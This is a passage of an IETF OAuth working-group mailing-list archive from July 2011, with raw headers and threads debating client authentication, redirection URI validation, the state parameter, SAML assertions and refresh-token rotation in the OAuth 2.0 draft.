------07LE5JAY5870A8W41O35RNHJLT89KO-- From torsten@lodderstedt.net Sun Jul 10 01:59:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AB75F21F85D9 for ; Sun, 10 Jul 2011 01:59:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[AWL=-0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GlyYYv1872dR for ; Sun, 10 Jul 2011 01:59:18 -0700 (PDT) Received: from smtprelay02.ispgateway.de (smtprelay02.ispgateway.de [80.67.31.25]) by ietfa.amsl.com (Postfix) with ESMTP id 4C2F221F85D8 for ; Sun, 10 Jul 2011 01:59:18 -0700 (PDT) Received: from [88.249.48.57] (helo=[192.168.179.140]) by smtprelay02.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1Qfpr8-0003BP-C1; Sun, 10 Jul 2011 10:59:16 +0200 References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF7C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A0024@P3PW5EX1MB01.EX1.SECURESERVER.NET> User-Agent: K-9 Mail for Android In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0024@P3PW5EX1MB01.EX1.SECURESERVER.NET> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----Y79HAORET3SCE4ATSET2LDU4L66HA6" From: Torsten Lodderstedt Date: Sun, 10 Jul 2011 11:59:04 +0300 To: Eran Hammer-Lahav ,OAuth WG Message-ID: <44df5477-8c5c-47c4-bb29-6a154cd10848@email.android.com> X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 10 Jul 2011 08:59:19 -0000 ------Y79HAORET3SCE4ATSET2LDU4L66HA6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi, I just remembered the original aim of the text. We not just intended to list alternative means but to get a general message across: If you cannot authenticate a client considers this in your security design! Either (1) you accept the fact the respective identities can be forged and handle them as untrusted entities through your logic (as far as I remember Skylar suggested the term forgeable clients) or (2) you find other ways to establish trust in the client's identity. The effect of (1) depends on the security policy of the certain deployment and the risk associated with certain functions. It could e.g. mean to rely on the id to aggregate log entries (not critical) but never to automatically process authz processes or settle payment transaction. Examples for (2) are: redirect uri validation, relying on the user to identify the client, and (subsequently) use refresh tokens as mean for client authentication. I don't think we can give a complete list of means here since I assume some deployments will have their own capabilities. Please also note: redirect uri validation is not an adequate replacement for client authentication. It's not effective for native apps and useless if the attacker uses a native app (no matter whether the legitimate client is a web, user agent based or native app). regards, Torsten. Eran Hammer-Lahav schrieb: Hey Torsten, The provided text and alternative text are just not helpful. If I am unable to understand it, I have doubt other readers will be able to. I don't know what you mean by 'other means' which are not already described in the document (based on -17). Referencing the security thread model document in a normative reference requires making it a normative reference which I am opposed to doing - the v2 document should include everything needed to implement the protocol without any additional specifications (for the core functionality). When I was asking for examples, I was hoping for something like 'for example, use x, y, or z', not a reference to about 10 pages of text (which by itself is pretty confusing, but that's a different issue - I hope to find the time to provide detailed feedback for that document). I think the current document makes a pretty good case for using the redirection URI as a form of client validation, and clearly lays out the differences between a public and private client. It has new requirements for the registration of redirection URIs when client authentication is not possible. If there are specific things the authorization server can do to improve security beyond client authentication, we should list them explicitly in the document. Can you list exactly what you have in mind by 'other means'? Just the bullet points will be enough. EHL > -----Original Message----- > From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] > Sent: Friday, July 08, 2011 12:59 AM > To: Eran Hammer-Lahav; OAuth WG > Subject: RE: Section 10.1 (Client authentication) > > seems you are contradicting yourself. > > You criticised the MUST and suggested to include some examples. I bought > into your argument and suggested to refer to the security doc for examples > and additional explanations. That's what this document is intended for, to > provide background beyond what we can cover in the core spec. > > And I don't think the spec already makes that point. But you are free to refer > me to the respective text. > > regards, > Torsten. > > > > Eran Hammer-Lahav schrieb: > > >I still don’t find it useful. I think the existing text overall makes > >this point already. > > > >EHL > > > >From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] > >Sent: Wednesday, July 06, 2011 12:48 AM > >To: Eran Hammer-Lahav; OAuth WG > >Subject: Re: Section 10.1 (Client authentication) > > > >Hi Eran, > > > >I would suggest to change it to SHOULD and add a reference to > >https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections > >3.7 and 5.2.3. > > > >regards, > >Torsten. > > > > > >Eran Hammer-Lahav > > > >schrieb: > >It's a pointless MUST given how undefined the requirements are. It will > >only be understood by security experts and they don't really need it. > >At a minimum, it needs some examples. > > > >EHL > > > >From: Torsten Lodderstedt > >> > >Date: Wed, 1 Jun 2011 00:53:37 -0700 > >To: Eran Hammer-lahav > >>, OAuth WG > >> > >Subject: Section 10.1 (Client authentication) > > > >Hi Eran, > > > >would you please add the following sentence (which was contained in the > >original security considerations text) to the second paragraph of > >section 1.0.1? > > > >Alternatively, authorization servers MUST utilize > > other means than client authentication to achieve their security > > objectives. > > > > > >I think it's important to state that authorization server should > >consider alternative way to validate the client identity if secrets > >cannot be used. The security threat document also suggest some. > > > >regards, > >Torsten. ------Y79HAORET3SCE4ATSET2LDU4L66HA6 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit Hi,

I just remembered the original aim of the text. We not just intended to list alternative means but to get a general message across: If you cannot authenticate a client considers this in your security design! Either (1) you accept the fact the respective identities can be forged and handle them as untrusted entities through your logic (as far as I remember Skylar suggested the term forgeable clients) or (2) you find other ways to establish trust in the client's identity.

The effect of (1) depends on the security policy of the certain deployment and the risk associated with certain functions. It could e.g. mean to rely on the id to aggregate log entries (not critical) but never to automatically process authz processes or settle payment transaction.

Examples for (2) are: redirect uri validation, relying on the user to identify the client, and (subsequently) use refresh tokens as mean for client authentication. I don't think we can give a complete list of means here since I assume some deployments will have their own capabilities.

Please also note: redirect uri validation is not an adequate replacement for client authentication. It's not effective for native apps and useless if the attacker uses a native app (no matter whether the legitimate client is a web, user agent based or native app).

regards,
Torsten.



Eran Hammer-Lahav <eran@hueniverse.com> schrieb:
Hey Torsten,

The provided text and alternative text are just not helpful. If I am unable to understand it, I have doubt other readers will be able to.

I don't know what you mean by 'other means' which are not already described in the document (based on -17). Referencing the security thread model document in a normative reference requires making it a normative reference which I am opposed to doing - the v2 document should include everything needed to implement the protocol without any additional specifications (for the core functionality).

When I was asking for examples, I was hoping for something like 'for example, use x, y, or z', not a reference to about 10 pages of text (which by itself is pretty confusing, but that's a different issue - I hope to find the time to provide detailed feedback for that document).

I think the current document makes a pre
 tty
good case for using the redirection URI as a form of client validation, and clearly lays out the differences between a public and private client. It has new requirements for the registration of redirection URIs when client authentication is not possible.

If there are specific things the authorization server can do to improve security beyond client authentication, we should list them explicitly in the document.

Can you list exactly what you have in mind by 'other means'? Just the bullet points will be enough.

EHL


> -----Original Message-----
> From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net]
> Sent: Friday, July 08, 2011 12:59 AM
> To: Eran Hammer-Lahav; OAuth WG
> Subject: RE: Section 10.1 (Client authentication)
> 
> seems you are contradicting yourself.
> 
> You criticised the MUST and suggested to include some examples. I bought
> into your
argument and suggested to refer to the security doc for examples
> and additional explanations. That's what this document is intended for, to
> provide background beyond what we can cover in the core spec.
> 
> And I don't think the spec already makes that point. But you are free to refer
> me to the respective text.
> 
> regards,
> Torsten.
> 
> 
> 
> Eran Hammer-Lahav <eran@hueniverse.com> schrieb:
> 
> >I still don’t find it useful. I think the existing text overall makes
> >this point already.
> >
> >EHL
> >
> >From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net]
> >Sent: Wednesday, July 06, 2011 12:48 AM
> >To: Eran Hammer-Lahav; OAuth WG
> >Subject: Re: Section 10.1 (Client authentication)
> >
> >Hi Eran,
> >
> >I
  would
suggest to change it to SHOULD and add a reference to
> >https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections
> >3.7 and 5.2.3.
> >
> >regards,
> >Torsten.
> >
> >
> >Eran Hammer-Lahav
> <eran@hueniverse.com<mailto:eran@hueniverse.com>>
> >schrieb:
> >It's a pointless MUST given how undefined the requirements are. It will
> >only be understood by security experts and they don't really need it.
> >At a minimum, it needs some examples.
> >
> >EHL
> >
> >From: Torsten Lodderstedt
> ><torsten@lodderstedt.net<mailto:torsten@lodderstedt.net>>
> >Date: Wed, 1 Jun 2011 00:53:37 -0700
> >To: Eran Hammer-lahav
>
><eran@hueniverse.com<mailto:eran@hueniverse.com>>, OAuth WG
> ><oauth@ietf.org<mailto:oauth@ietf.org>>
> >Subject: Section 10.1 (Client authentication)
> >
> >Hi Eran,
> >
> >would you please add the following sentence (which was contained in the
> >original security considerations text) to the second paragraph of
> >section 1.0.1?
> >
> >Alternatively, authorization servers MUST utilize
> >    other means than client authentication to achieve their security
> >    objectives.
> >
> >
> >I think it's important to state that authorization server should
> >consider alternative way to validate the client identity if secrets
> >cannot be used. The security threat document also suggest some.
> >
> >regards,
> >Torsten.

------Y79HAORET3SCE4ATSET2LDU4L66HA6-- From torsten@lodderstedt.net Sun Jul 10 02:19:59 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A6AF821F88F0 for ; Sun, 10 Jul 2011 02:19:59 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.249 X-Spam-Level: X-Spam-Status: No, score=-2.249 tagged_above=-999 required=5 tests=[AWL=0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id RzvsPxsm8U9w for ; Sun, 10 Jul 2011 02:19:58 -0700 (PDT) Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.31.24]) by ietfa.amsl.com (Postfix) with ESMTP id 531B421F88EB for ; Sun, 10 Jul 2011 02:19:58 -0700 (PDT) Received: from [88.249.48.57] (helo=[192.168.179.185]) by smtprelay01.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1QfqB7-0005HG-Ca; Sun, 10 Jul 2011 11:19:56 +0200 References: <4E08F494.2010807@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD3@P3PW5EX1MB01.EX1.SECURESERVER.NET> <9d7933e1-6845-4d58-9835-387b0753aab9@email.android.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A0032@P3PW5EX1MB01.EX1.SECURESERVER.NET> User-Agent: K-9 Mail for Android In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0032@P3PW5EX1MB01.EX1.SECURESERVER.NET> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit From: Torsten Lodderstedt Date: Sun, 10 Jul 2011 12:17:16 +0300 To: Eran Hammer-Lahav ,OAuth WG Message-ID: X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] state parameter and XSRF detection X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 10 Jul 2011 09:19:59 -0000 Eran Hammer-Lahav schrieb: >The security of the protocol relies fully (implicit grant) or partially >(authorization code) on the validation of the redirection URI. This was >well understood by many experts but until -17, we largely ignored by >the specification. what does "security of the protocol" mean? Wrt what threats? I see detection/prevention of malicious clients. Anything else? I personally think there are various features of the protocol contributing to the overall security level of the protocol protocol (for different threats). For example: user engagement and control plays an important role. We documented those relations in the security document. Redirect uri validation is, in my opinion, not effective for native apps and useless if the attacker uses a native app (no matter whether the legitimate client is a web, user agent based or native app). Thus I consider relying on this mean exclusively is dangerous. > >Using dynamic values are still fully supported: > > 3.1.2.2. Registration Requirements > > The authorization server MUST require public clients to register > their redirection URI, MUST require all clients to register their > redirection URI prior to utilizing the implicit grant type, and > SHOULD require all clients to register their redirection URI prior to > utilizing the authorization code grant type. > > The authorization server SHOULD require the client to provide the > complete redirection URI (the client MAY use the "state" request > parameter to achieve per-request customization). The authorization > server MAY allow the client to register multiple redirection URIs. > If requiring the registration of the complete redirection URI is not > possible, the authorization server SHOULD require the registration of > the URI scheme, authority, and path. > So what this text basically says is: You should enforce full uri registration & validation but you don't have to. Which also means my use case for XSRF prevention using other parameters is still supported. Am I wrong? >And 3.1.2.3. Dynamic Configuration, adds: > > If the authorization server allows the client to dynamically change > the query component of the redirection URI, the client MUST ensure > that manipulation of the query component by an attacker cannot lead > to an abuse of the redirection endpoint as an open redirector. > >The rational for this is that comparing full URIs (using simple string >comparison) provides for much less moving parts. We know from >experience that URI normalization is hard and that attackers sometimes >find ways to inject values into the redirection URI and still pass >validation (based on the specific issues with the server’s >normalization logic). > >We were unable to come up with a useful set of rules for redirection >URI validation based on individually registered URI components. This >has also been an area of great confusion by OAuth 1.0 developers, as >each provider has its own set of rules and methods for URI >registration. Some implementations are outright idiotic. On the other >hand, if we recommend developers to simply do string comparison (per >RFC 3986 section 6) and not allow any changes, we know it is much more >likely to be implemented securely. > >Beyond the complexity of normalization and comparison: many existing >platform allow for internal redirections and special handling using >special query parameters. Most login pages support some form of >automatic redirection to the referring resource. If an attacker can >access such a parameter, it can manipulate the redirection URI to pass >validation but produce very different results. The worst case scenario >is finding a query parameter capable of triggering a redirection which >will then send the credentials to the attacker. > >The simplest form of this attack is the availability of an open >redirector (which most large providers have, some with better >safeguards then others). If example.com offers an open redirector, >registration of the scheme and authority will accomplish nothing, as >the open redirector endpoint will pass validation. Registration of the >full path is *usually* sufficient, but not always, and relies of proper >normalization that forces a query separator '?' between the fully >registered path and the appended query (as well as enforce proper >reserved characters encoding). > >The typical sophistication of the authorization server developer is >much greater than that of the client developer. It is better to >encourage the server developer to enforce better policy, than hope that >the client developer will be able to find and close every potential >security hole in its entire system to render redirection URI validation >trustworthy. > >The specification provides and highlights the 'state' parameter as the >proper way of accomplishing redirection URI customization. It is >significantly simpler to restrict validation to simple string >comparison, and protect the 'state' parameter on the client from being >abused by an attacker. Understood and afterwards agreed. I would be happy to add this to the security document. regards, Torsten. > >If I had it my way, the specification would ban any type of dynamic >redirection URI (other than selecting one out of multiple fully >specified options). But this proposal was rejected (for no good >reasons, just people stuck to their broken old ways), so the new text >is the best I can do without making breaking changes. > >EHL > > > > > >From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] >Sent: Friday, July 08, 2011 1:23 AM >To: Eran Hammer-Lahav; OAuth WG >Subject: RE: [OAUTH-WG] state parameter and XSRF detection > >Hi Eran, > >including dynamic values within redirect uris is standard practice >today and is allowed by the spec's text so far. I don't mind to change >it but the restricted behavior you prefer is a significant protocol >change. > >Moreover, I would like to understand the threat you have in mind and >include it into our threat model. So would you please provide a more >detailed description? > >regards, >Torsten. > > > >Eran Hammer-Lahav schrieb: >Allowing any flexibly in the redirection URI is a bad thing and the >latest draft (pre -17) clearly states that. The main fear is that by >allowing the query to be changed dynamically, attackers can find open >redirector loopholes to abuse. I really wanted to make registration of >the absolute URI a MUST, but didn't go that far. > >EHL > >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On >Behalf >> Of Torsten Lodderstedt >> Sent: Monday, June 27, 2011 2:22 PM >> To: OAuth WG >> Subject: [OAUTH-WG] state parameter and XSRF detection >> >> Hi all, >> >> while working on a new revision of the OAuth security document, a >question >> arose I would like to clarify on the list. >> >> The "state" parameter is supposed to be used to link a certain >authorization >> request and response. Therefore, the client stores a value in this >parameter >> that is somehow bound to a value retained on the device (the user >agent) >> originating the authorization request. >> >> The question now is: Would it be compliant with the core spec to use >any >> other URI query parameter encoded in the redirect_uri, instead of the >> "state" parameter, to achieve the same goal? Probably the client >already has >> a working "legacy" implementation it does not want to change just for >> OAuth2 compliance. >> >> According to section 2.2.1, the redirection uri could contain a >dynamic >> portion: >> >> "The authorization server SHOULD require the client to pre-register >> their redirection URI or at least certain components such as the >> scheme, host, port and path" >> >> So this should be fine. >> >> Any comments? >> >> regards, >> Torsten. >> >> >________________________________________ > >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth From bcampbell@pingidentity.com Sun Jul 10 07:04:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 651C621F86B4 for ; Sun, 10 Jul 2011 07:04:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.944 X-Spam-Level: X-Spam-Status: No, score=-5.944 tagged_above=-999 required=5 tests=[AWL=0.033, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vdCVUaK-XKKy for ; Sun, 10 Jul 2011 07:04:20 -0700 (PDT) Received: from na3sys009aog118.obsmtp.com (na3sys009aog118.obsmtp.com [74.125.149.244]) by ietfa.amsl.com (Postfix) with ESMTP id 98F8721F8655 for ; Sun, 10 Jul 2011 07:04:20 -0700 (PDT) Received: from mail-qy0-f171.google.com ([209.85.216.171]) (using TLSv1) by na3sys009aob118.postini.com ([74.125.148.12]) with SMTP ID DSNKThmxY4siqAp0D+1R3kXBuSRfB9Uyvtpn@postini.com; Sun, 10 Jul 2011 07:04:20 PDT Received: by mail-qy0-f171.google.com with SMTP id 38so1169492qyl.16 for ; Sun, 10 Jul 2011 07:04:19 -0700 (PDT) Received: by 10.224.38.208 with SMTP id c16mr3050268qae.176.1310306659106; Sun, 10 Jul 2011 07:04:19 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Sun, 10 Jul 2011 07:03:49 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0142@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0142@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Brian Campbell Date: Sun, 10 Jul 2011 08:03:49 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 1: client auth] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 10 Jul 2011 14:04:21 -0000 Not before the submission deadline tomorrow. Probably sometime before submissions reopen. On Sat, Jul 9, 2011 at 9:04 AM, Eran Hammer-Lahav wro= te: > Sounds reasonable. Can you provide a schedule outline? > > EHL > >> -----Original Message----- >> From: Brian Campbell [mailto:bcampbell@pingidentity.com] >> Sent: Saturday, July 09, 2011 5:53 AM >> To: Eran Hammer-Lahav >> Cc: oauth >> Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 1: client auth] >> >> Thanks for the response, Eran. I'm breaking this thread up into the dist= inct >> issues. =A0Reply inline below to the first item about client auth. >> >> On Thu, Jul 7, 2011 at 11:24 PM, Eran Hammer-Lahav >> wrote: >> > >> > > However, the SAML draft does not currently cover SAML for client >> > > authentication and profiling draft-ietf-oauth-assertions would >> > > suggest that it should. =A0Is there any general consensus as to if >> > > SAML should be profiled as a client authentication method? =A0It is >> > > certainly feasible but might require restructuring and retitling the= draft. >> > >> > Are there use cases pending such functionality today? It would be a sh= ame >> to delay an otherwise useful draft when the functionality can be added l= ater. >> >> I don't have any such use cases in the near future. =A0Perhaps others ca= n speak >> up? I personally see assertion based grants as being more important and >> more immediately useful. =A0That was one of the reasons I was looking to= keep >> assertion grants and client assertion authentication separate. =A0That s= aid, >> Chuck has done a nice job with his general treatment of them together in >> draft-ietf-oauth-assertions and the logical thing to do, in terms of how= the >> various documents play together, would be to have draft-ietf-oauth-saml2= - >> bearer cover client auth now too. > From wmills@yahoo-inc.com Sun Jul 10 09:38:23 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9DA1521F8757 for ; Sun, 10 Jul 2011 09:38:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -16.854 X-Spam-Level: X-Spam-Status: No, score=-16.854 tagged_above=-999 required=5 tests=[AWL=-0.744, BAYES_05=-1.11, HTML_MESSAGE=0.001, USER_IN_DEF_WHITELIST=-15] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id rruiCUdR4Cgk for ; Sun, 10 Jul 2011 09:38:22 -0700 (PDT) Received: from nm30-vm0.bullet.mail.bf1.yahoo.com (nm30-vm0.bullet.mail.bf1.yahoo.com [98.139.213.126]) by ietfa.amsl.com (Postfix) with SMTP id 9498221F8744 for ; Sun, 10 Jul 2011 09:38:22 -0700 (PDT) Received: from [98.139.212.148] by nm30.bullet.mail.bf1.yahoo.com with NNFMP; 10 Jul 2011 16:38:19 -0000 Received: from [98.139.212.211] by tm5.bullet.mail.bf1.yahoo.com with NNFMP; 10 Jul 2011 16:38:19 -0000 Received: from [127.0.0.1] by omp1020.mail.bf1.yahoo.com with NNFMP; 10 Jul 2011 16:38:19 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 334197.89496.bm@omp1020.mail.bf1.yahoo.com Received: (qmail 98566 invoked by uid 60001); 10 Jul 2011 16:38:18 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo-inc.com; s=ginc1024; t=1310315898; bh=9iF/ojxv1NpBNtnKQaq4ebD/Km9Zf4c3928S7kumMUQ=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=AoyEIRvmVMWDnogTOaAWvVbPO8vROr79SNmEXbPuffx4bYR03T2xgL6YMIsrfRQ75QsVm/VHXVFUZKDaJb5l1pC1KsdhD3wRl3ihGY3+juLvhdTrY1Yt6j0W2ZmGucX2WZ8ev0ELrQCdZDLXoqj/IrO7C99XzzsOAi2ezuswxno= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ginc1024; d=yahoo-inc.com; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=ND/9z/TRs6g90zOd2vHgJKcEUs76MeF3D/K8vSHGNX7RmqSFGROprPWOZqlg6ifj/k660WuBKB5BDBQSQLnmwG94CAhGH8uUcklp/AbwQ34k5q/DA10eIIEGnXrEVFF0aBtciUcbRJMPA7xf463d0hs/Q7mjQtTeWlkKjJLXGac=; X-YMail-OSG: 9XmHlQMVM1mNy83fw.AQ3OJUyla.tNGQDYQGq_rX1k..MDJ 45oNb0qc0Ckg1kHO6NoHWJP4kZM.wu3RBapNcL.g8PpqTslkFspGEMwqx_Pj Eb2sUOQVrBHFk.ZjdiY0UBSvFiJ8XbF_eaiPEXZUFMfB_9.KwP_ap6u2FZvT A_mJ5iI1sPo1ZLL6SsMzIq_3a2BTPgGjhQNWqFH9QEATT2St7bSpiyiSxCbk cUf88ef0DZWfdsE7W9aMhs53EAXziaKm4S0_iE1Ab5EYBhjyFBZLi8mwZjDW ZZQfAMtKkMVolDRIMC26uLABEbuD5HjuyZlNGziGOmr0bRmBqQ729YHOKcRo PvCPgbh4FFZntNvJuA6G2 Received: from [99.31.212.42] by web31802.mail.mud.yahoo.com via HTTP; Sun, 10 Jul 2011 09:38:18 PDT X-RocketYMMF: william_john_mills X-Mailer: YahooMailWebService/0.8.112.310352 References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> <152fee05-9248-45e5-a9b5-86e880e5b1f9@email.android.com> Message-ID: <1310315898.93782.YahooMailNeo@web31802.mail.mud.yahoo.com> Date: Sun, 10 Jul 2011 09:38:18 -0700 (PDT) From: "William J. Mills" To: Torsten Lodderstedt , Eran Hammer-Lahav , OAuth WG In-Reply-To: <152fee05-9248-45e5-a9b5-86e880e5b1f9@email.android.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-223486970-1310315898=:93782" Subject: Re: [OAUTH-WG] Refresh token security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: "William J. Mills" List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 10 Jul 2011 16:38:23 -0000 --0-223486970-1310315898=:93782 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable I agree that this is something you could do, but it doesn't seem like a goo= d design pattern.=0A=0A=0A=0A________________________________=0AFrom: Torst= en Lodderstedt =0ATo: Eran Hammer-Lahav ; OAuth WG =0ASent: Sunday, July 10, 2011 1:21 A= M=0ASubject: Re: [OAUTH-WG] Refresh token security considerations=0A=0Arepl= acement of the refresh token with every access token refresh is an example.= The authz server creates and returns a new refresh token value with every = access token refreshment. The old value is invalidated and must not be used= any further. Note: The authz server keeps track of all old (invalidated) r= efresh tokens.=0A=0AIf a client presents one of those old refresh tokens, t= he legitimate client has been compromised most likely. The authz then revok= es the refresh token and the associated access authorization.=0A=0Aregards,= =0ATorsten.=0A=0A=0A=0A=0AEran Hammer-Lahav schrieb:= =0A=E2=80=9Cthe authorization server SHOULD deploy other means to detect re= fresh token abuse=E2=80=9D=0A>=C2=A0=0A>This requires an example. =0A>=C2= =A0=0A>=C2=A0=0A>EHL=0A_______________________________________________=0AOA= uth mailing list=0AOAuth@ietf.org=0Ahttps://www.ietf.org/mailman/listinfo/o= auth --0-223486970-1310315898=:93782 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
I agree that this is something you could do, but it doesn't seem like a g= ood design pattern.

From: Torsten Lodderstedt <torsten@lodderstedt.n= et>
To: Eran Hammer-= Lahav <eran@hueniverse.com>; OAuth WG <oauth@ietf.org>
Sent: Sunday, July 10, 2011 1:2= 1 AM
Subject: Re: [OAUT= H-WG] Refresh token security considerations

replacement of the refresh token with every access token refresh is an example. The authz server creates and returns a new refresh token value with every access token refreshment. The old value is invalidated and must not be used any further. Note: The authz server keeps track of all old (invalidated) refresh tokens.

If a client presents one of those old refresh tokens, the legitimate client has been compromised most likely. The authz then revokes the refresh token and the associated access authorization.

regards,
Torsten.



Eran Hammer-Lahav <eran@hueniverse.com> schrieb:
“the authorization server SHOULD deploy other means to detect refresh token abuseâ€
 
This requires an example.
 
 
EHL

_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth


------75MWMC5SYMSNXXY3RFQFA9XS05UD8W-- From wmills@yahoo-inc.com Tue Jul 12 08:29:33 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 65A8521F8EB3 for ; Tue, 12 Jul 2011 08:29:33 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.226 X-Spam-Level: X-Spam-Status: No, score=-17.226 tagged_above=-999 required=5 tests=[AWL=0.372, BAYES_00=-2.599, HTML_MESSAGE=0.001, USER_IN_DEF_WHITELIST=-15] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id VY4Q8+j3dijg for ; Tue, 12 Jul 2011 08:29:32 -0700 (PDT) Received: from nm11.bullet.mail.bf1.yahoo.com (nm11.bullet.mail.bf1.yahoo.com [98.139.212.170]) by ietfa.amsl.com (Postfix) with SMTP id 61EC921F8EB2 for ; Tue, 12 Jul 2011 08:29:32 -0700 (PDT) Received: from [98.139.212.152] by nm11.bullet.mail.bf1.yahoo.com with NNFMP; 12 Jul 2011 15:29:29 -0000 Received: from [98.139.212.198] by tm9.bullet.mail.bf1.yahoo.com with NNFMP; 12 Jul 2011 15:29:29 -0000 Received: from [127.0.0.1] by omp1007.mail.bf1.yahoo.com with NNFMP; 12 Jul 2011 15:29:29 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 329058.28035.bm@omp1007.mail.bf1.yahoo.com Received: (qmail 94127 invoked by uid 60001); 12 Jul 2011 15:29:28 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo-inc.com; s=ginc1024; t=1310484568; 